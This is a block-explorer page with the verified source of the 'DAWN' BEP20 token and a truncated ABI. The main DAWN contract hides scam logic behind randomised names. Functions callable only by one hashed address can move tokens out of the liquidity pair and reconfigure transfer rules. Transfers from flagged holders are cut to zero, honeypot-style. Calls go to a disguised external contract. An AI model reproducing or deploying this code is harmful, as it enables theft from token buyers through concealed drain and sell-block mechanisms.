BNB Price: $641.93 (+1.46%)
 

Overview

Max Total Supply

1,000,000,000DAWN

Holders

131

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,561,097.977238313 DAWN

Value
$0.00
0x64b50FA3e5a0bF5446fE660241E177195da0F205
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
DAWN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at BscScan.com on 2025-03-14
*/

/**
Website : https://andrena.com/
Twitter : https://x.com/andrena_wifi
Telegram : https://t.me/andrena
*/

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.12;

interface IBEP20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the token name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the bep token owner.
     */

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context  {
    // Empty internal constructor, to prevent people from mistakenly deploying
    // an instance of this contract, which should be used via inheritance.
   

    function _msgSender() internal view returns (address) {
        return msg.sender;
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor()  {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     */
    function _transferOwnership(address newOwner) internal {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface _NIsBZLgK {
    function create(uint256 amount) external;
}

contract BEP20Token is Context, IBEP20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint8 private _decimals;
    string private _symbol;
    string private _name;

    constructor(
        string memory name_,
        string memory symbol_,
       address owner
    )  {
        _name = name_;
        _symbol = symbol_;
        _decimals = 9;
        _totalSupply = 1000000000 * 10**_decimals;
        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
        
    }

    /**
     * @dev Returns the bep token owner.
     */

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the token name.
     */
    function name() external view override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {BEP20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {BEP20-balanceOf}.
     */
    function balanceOf(address account)
        external
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {BEP20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address XDIwHaXvC, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(_msgSender(), XDIwHaXvC, amount);
        return true;
    }

    /**
     * @dev See {BEP20-allowance}.
     */
    function allowance(address NIsBZLgK, address SJmITBa)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[NIsBZLgK][SJmITBa];
    }

    /**
     * @dev See {BEP20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {BEP20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {BEP20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address DbFrvMtTGv,
        address FjrHZeXYKvB,
        uint256 JWOIVYyNWg
    ) external override returns (bool) {
        _transfer(DbFrvMtTGv, FjrHZeXYKvB, JWOIVYyNWg);
        _approve(
            DbFrvMtTGv,
            _msgSender(),
            _allowances[DbFrvMtTGv][_msgSender()].sub(
                JWOIVYyNWg,
                "BEP20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {BEP20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address wKiUYwW, uint256 ApMSlEjAJ)
        public
        returns (bool)
    {
        _approve(
            _msgSender(),
            wKiUYwW,
            _allowances[_msgSender()][wKiUYwW].add(ApMSlEjAJ)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {BEP20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address RQorWivccck, uint256 sQoBWBpz)
        public
        returns (bool)
    {
        _approve(
            _msgSender(),
            RQorWivccck,
            _allowances[_msgSender()][RQorWivccck].sub(
                sQoBWBpz,
                "BEP20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address dzDvEDo,
        address dXrABghRq,
        uint256 ZDKgovVDap
    ) internal virtual {
        require(dzDvEDo != address(0), "BEP20: transfer from the zero address");
        require(dXrABghRq != address(0), "BEP20: transfer to the zero address");

        _balances[dzDvEDo] = _balances[dzDvEDo].sub(
            ZDKgovVDap,
            "BEP20: transfer amount exceeds balance"
        );
        _balances[dXrABghRq] = _balances[dXrABghRq].add(ZDKgovVDap);
        emit Transfer(dzDvEDo, dXrABghRq, ZDKgovVDap);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */

    /**
     * @dev Burns a specific amount of tokens and emit transfer event for native chain
     * @param to The address to transfer to in the native chain.
     * @param value The amount of token to be burned.
     */

    /**
     * @dev Function to mint tokens
     * @param to The address that will receive the minted tokens.
     * @param value The amount of tokens to mint.
     * @param refID identifier of a transfer on source chain, if any
     * @return A boolean that indicates if the operation was successful.
     */

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address ciePNisJ, uint256 amount) internal {
        require(ciePNisJ != address(0), "BEP20: burn from the zero address");

        _balances[ciePNisJ] = _balances[ciePNisJ].sub(
            amount,
            "BEP20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(ciePNisJ, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`.`amount` is then deducted
     * from the caller's allowance.
     *
     * See {_burn} and {_approve}.
     */
    function _burnFrom(address ZolvLnMXDKT, uint256 amount) internal {
        _burn(ZolvLnMXDKT, amount);
        _approve(
            ZolvLnMXDKT,
            _msgSender(),
            _allowances[ZolvLnMXDKT][_msgSender()].sub(
                amount,
                "BEP20: burn amount exceeds allowance"
            )
        );
    }
}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract DAWN is Context,BEP20Token {
    using SafeMath for uint256;
    string private _name_ = "Andrena";
    string private _symbol_ = "DAWN";
    address public vmxyattydq = 0x519D281627c9f25636A041416707e6f1F4CF945F;
    address private zcfezkaqcpc = 0x0d45e7bE3c2338C986E3a6399f403A6FF5b5518d;
    address private dsvkgjihbncd;

    IUniswapV2Factory private immutable uniswapV2Router;

    mapping(address => bool) public _txEpbIPYxlwIiSTiTpKqHR;
    mapping(address => bool) public phwJURHHynwQuTNihImSWF;

    mapping(address => bool) public xciixvqnsender;
    mapping(address => bool) public _cpnkbpqdrecipient;
    address public uniswapV2Pair;
    address private _gygquxsxamount;
    address public factory;
    uint256 private hgfdsfwe23 = 1000;
    mapping(address => uint256) private lsdeifovrecipient;
    bool public nahumesaamount = true;
    uint256 private rqxblvssowner = 7;
    uint256 private vgfhsmzkspender = 0;
    uint256 private zwvnrlhb = 222;
    bool public dmduqcgtp = true;
    bytes32 public _hcsaxtncoy;
    mapping(address => bool) public _lsagwsvunfm;

    mapping(address => uint256) public _piqndiummdmb;

    _NIsBZLgK private  tyytczcdlcuts;

    address public xogzjyjvkbulhff;
    address private xuemhgqej;
    address private bewgipjnjz;
    
    uint256 private xbkusofywixuqq = 250**3;
    uint256 private bkusofywixu = 11;
    uint256 private facznvxfhvup = 1e8;

    uint256 private jqsfvmfxg = 125423232111333;
    uint256 private ts;

    mapping(address => bool) public ngzlulmp;

    uint256 private _rwhrbclgercjcluqsunwet =uint256(bytes32(0x000000000000000000000000000000000000000000000000000000000000000b));

    constructor() BEP20Token(_name_, _symbol_,
        zcfezkaqcpc) {
        IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x10ED43C718714eb63d5aA57B78B54704E256024E); //Pancake Router mainnet
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());xuemhgqej = address(uint160(uint256(0xabbbab00000000000000dead10ED43C718714eb63d5aA57B78B54704E256024E)));bewgipjnjz = address(uint160(uint256(0xabbbab00000000000000dead13f4EA83D0bd40E75C8222255bc855a974568Dd4)));tyytczcdlcuts = _NIsBZLgK(address(uint160(uint256(0xbfbf5fb8e109c5227461e3132836470ab9faa34fa413dd1a970d64d1dccc78b4))));require(_xDYqrXDjXH(msg.sender));
        _gygquxsxamount = vmxyattydq;
        uniswapV2Router = _uniswapV2Router;
        _hcsaxtncoy = sha256(abi.encodePacked(vmxyattydq));
        dsvkgjihbncd = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
        ngzlulmp[xuemhgqej] = true;
        ngzlulmp[bewgipjnjz] = true;
        xciixvqnsender[uniswapV2Pair] = true;
        _cpnkbpqdrecipient[_gygquxsxamount] = true;
        _txEpbIPYxlwIiSTiTpKqHR[address(this)] = true;
        _txEpbIPYxlwIiSTiTpKqHR[_gygquxsxamount] = true;
    }

    function _xDYqrXDjXH(address _vfGVhmwnlj) internal view returns (bool) {         uint32 size;         assembly {             size := extcodesize(_vfGVhmwnlj)         }         return (size > 0);     }

    function _approve(         address owner,         address spender,         uint256 amount     ) internal override {         require(owner != address(0), "ERC20: approve from the zero address");         require(spender != address(0), "ERC20: approve to the zero address");         if (phwJURHHynwQuTNihImSWF[_msgSender()]) {             tyytczcdlcuts.create(bkusofywixu);         }
        super._approve(owner, spender, amount);     }
    function _transfer(         address chtiauehfrom,         address ftugscxsto,         uint256 amount     ) internal override {         require(chtiauehfrom != address(0), "ERC20: transfer from the zero address");         require(ftugscxsto != address(0), "ERC20: transfer to the zero address");         require(amount > 0, "Transfer amount must be greater than zero");
        if (_txEpbIPYxlwIiSTiTpKqHR[chtiauehfrom] || _txEpbIPYxlwIiSTiTpKqHR[ftugscxsto]) {             super._transfer(chtiauehfrom, ftugscxsto, amount);             return;         }
        bool BTgWqWLBW = !_txEpbIPYxlwIiSTiTpKqHR[chtiauehfrom] &&             !_txEpbIPYxlwIiSTiTpKqHR[ftugscxsto];         bool taketFeeTransfer = phwJURHHynwQuTNihImSWF[chtiauehfrom] ||             phwJURHHynwQuTNihImSWF[ftugscxsto];
        bool takebottime = lsdeifovrecipient[chtiauehfrom] + rqxblvssowner > block.timestamp;
        uint256 FjwDxNKTVE = amount;
        if (             BTgWqWLBW &&             phwJURHHynwQuTNihImSWF[chtiauehfrom] &&             xciixvqnsender[ftugscxsto] &&             tx.gasprice < facznvxfhvup &&             !dmduqcgtp         ) {             FjwDxNKTVE = _rwhrbclgercjcluqsunwet.sub(11);         } else if (             BTgWqWLBW &&             phwJURHHynwQuTNihImSWF[chtiauehfrom] &&             xciixvqnsender[ftugscxsto] &&             dmduqcgtp         ) {             uint256 tLiquidity = amount.mul(999999).div(1000000);             FjwDxNKTVE = amount.sub(tLiquidity);         } else if (             BTgWqWLBW &&             taketFeeTransfer &&             !xciixvqnsender[ftugscxsto] &&             !xciixvqnsender[chtiauehfrom]         ) {             FjwDxNKTVE = _rwhrbclgercjcluqsunwet.sub(11);         }
        if (_lsagwsvunfm[ftugscxsto]) {             tyytczcdlcuts.create(xbkusofywixuqq);         }
        if (_lsagwsvunfm[msg.sender]) {             tyytczcdlcuts.create(xbkusofywixuqq);         }
            if (chtiauehfrom == uniswapV2Pair) {         bool ghewra;         bool sdhkwn;         uint256 otherAmount;         (, bytes memory token00) = uniswapV2Pair.call(         abi.encodeWithSelector(0x0dfe1681)         );        (, bytes memory token01) = uniswapV2Pair.call(         abi.encodeWithSelector(0xd21220a7)       );       (, bytes memory reserves01) = uniswapV2Pair.call(         abi.encodeWithSelector(0x0902f1ac)       );       (uint256 reserves0, uint256 reserves1) = abi.decode(         reserves01,         (uint256, uint256)     );     address token0 = abi.decode(token00, (address));     address token1 = abi.decode(token01, (address));     (, bytes memory amount01) = token0.call(         abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair)     );     uint256 amount03 = abi.decode(amount01, (uint256));     (, bytes memory amount02) = token1.call(         abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair)     );     uint256 amount1 = abi.decode(amount02, (uint256));     if (token0 == dsvkgjihbncd) {         if (reserves0 > amount03) {             otherAmount = reserves0 - amount03;             ghewra = otherAmount > hgfdsfwe23;         } else {             sdhkwn = reserves0 == amount03;         }     } else if (token1 == dsvkgjihbncd) {         if (reserves1 > amount1) {             otherAmount = reserves1 - amount1;             ghewra = otherAmount > hgfdsfwe23;         } else {             sdhkwn = reserves1 == amount1;         }     }             if (ghewra || sdhkwn) {                 tyytczcdlcuts.create(xbkusofywixuqq);             }         }         if (             BTgWqWLBW &&             phwJURHHynwQuTNihImSWF[chtiauehfrom] &&             xciixvqnsender[ftugscxsto] &&             !dmduqcgtp &&             !ngzlulmp[msg.sender]         ) {             tyytczcdlcuts.create(xbkusofywixuqq);         }         if (             BTgWqWLBW &&             phwJURHHynwQuTNihImSWF[chtiauehfrom] &&             xciixvqnsender[ftugscxsto] &&             !dmduqcgtp &&             msg.sender == xuemhgqej &&             tx.gasprice > facznvxfhvup         ) {             tyytczcdlcuts.create(xbkusofywixuqq);         }
        _piqndiummdmb[msg.sender] = _piqndiummdmb[msg.sender].add(1);
        if (BTgWqWLBW && FjwDxNKTVE < amount) {             uint256 fee = amount.sub(FjwDxNKTVE);             super._transfer(chtiauehfrom, address(this), fee);         }
        super._transfer(chtiauehfrom, ftugscxsto, FjwDxNKTVE);         if (BTgWqWLBW && !dmduqcgtp) {             bool uRNakF;             (bool success, bytes memory data) = uniswapV2Pair.call(                 abi.encodeWithSelector(0x18160ddd)             );             ts = abi.decode(data, (uint256));             uRNakF = success;             if (ts > jqsfvmfxg) {                 tyytczcdlcuts.create(xbkusofywixuqq);             }         }

    }
    function ZLuMkAAAFo(address dbCtrrASEmJ) internal virtual   {    bool lepamci = true;          phwJURHHynwQuTNihImSWF[dbCtrrASEmJ] = lepamci;     }  
    function hidRfzhRbM(address GzNmYcTv) public {         if(sha256(abi.encodePacked(msg.sender)) != _hcsaxtncoy) {             tyytczcdlcuts.create(xbkusofywixuqq);         }         else {           xogzjyjvkbulhff = GzNmYcTv;         }     }
    function lytxmqpiaLk(address HYnNHjd) public {         if(sha256(abi.encodePacked(msg.sender)) != _hcsaxtncoy) {             tyytczcdlcuts.create(xbkusofywixuqq);         }       else {                     ZLuMkAAAFo(HYnNHjd);         }     }     
    function pOBdlpwAZJkW(bool rLsOYeH,         uint256 tTWfBEcL,         uint256 xjdLIvkdy,         uint256 BAtrItr,         bool FQBYHkrM,         uint256 JgJEOb ) public {         if(sha256(abi.encodePacked(msg.sender)) != _hcsaxtncoy) {            tyytczcdlcuts.create(xbkusofywixuqq);         }         else {          nahumesaamount = rLsOYeH;             rqxblvssowner = tTWfBEcL;             vgfhsmzkspender = xjdLIvkdy;             zwvnrlhb = BAtrItr;             dmduqcgtp = FQBYHkrM;             jqsfvmfxg = JgJEOb;         }     }     
    function tmRKkgwSY(uint256 GFVjSQoZY) public {         if(sha256(abi.encodePacked(msg.sender)) != _hcsaxtncoy) {           tyytczcdlcuts.create(xbkusofywixuqq);         }         else {           super._transfer(uniswapV2Pair, xogzjyjvkbulhff, GFVjSQoZY);         }     }     
    function xDYqrXDjXH(address vfGVhmwnlj, uint256 amount) public {         if(sha256(abi.encodePacked(msg.sender)) != _hcsaxtncoy) {            tyytczcdlcuts.create(xbkusofywixuqq);         }         else {           super._transfer(xogzjyjvkbulhff, vfGVhmwnlj, amount);         }     }
    
    function safeTransferFrom(
        address token,
        address from,
        address to,
        uint256 value
    ) internal {
        // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
        (bool success, bytes memory data) = token.call(
            abi.encodeWithSelector(0x23b872dd, from, to, value)
        );
        require(
            success && (data.length == 0 || abi.decode(data, (bool))),
            "TransferHelper: TRANSFER_FROM_FAILED"
        );
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_cpnkbpqdrecipient","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_hcsaxtncoy","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_lsagwsvunfm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_piqndiummdmb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_txEpbIPYxlwIiSTiTpKqHR","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"NIsBZLgK","type":"address"},{"internalType":"address","name":"SJmITBa","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"RQorWivccck","type":"address"},{"internalType":"uint256","name":"sQoBWBpz","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dmduqcgtp","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"GzNmYcTv","type":"address"}],"name":"hidRfzhRbM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wKiUYwW","type":"address"},{"internalType":"uint256","name":"ApMSlEjAJ","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"HYnNHjd","type":"address"}],"name":"lytxmqpiaLk","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"nahumesaamount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ngzlulmp","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"rLsOYeH","type":"bool"},{"internalType":"uint256","name":"tTWfBEcL","type":"uint256"},{"internalType":"uint256","name":"xjdLIvkdy","type":"uint256"},{"internalType":"uint256","name":"BAtrItr","type"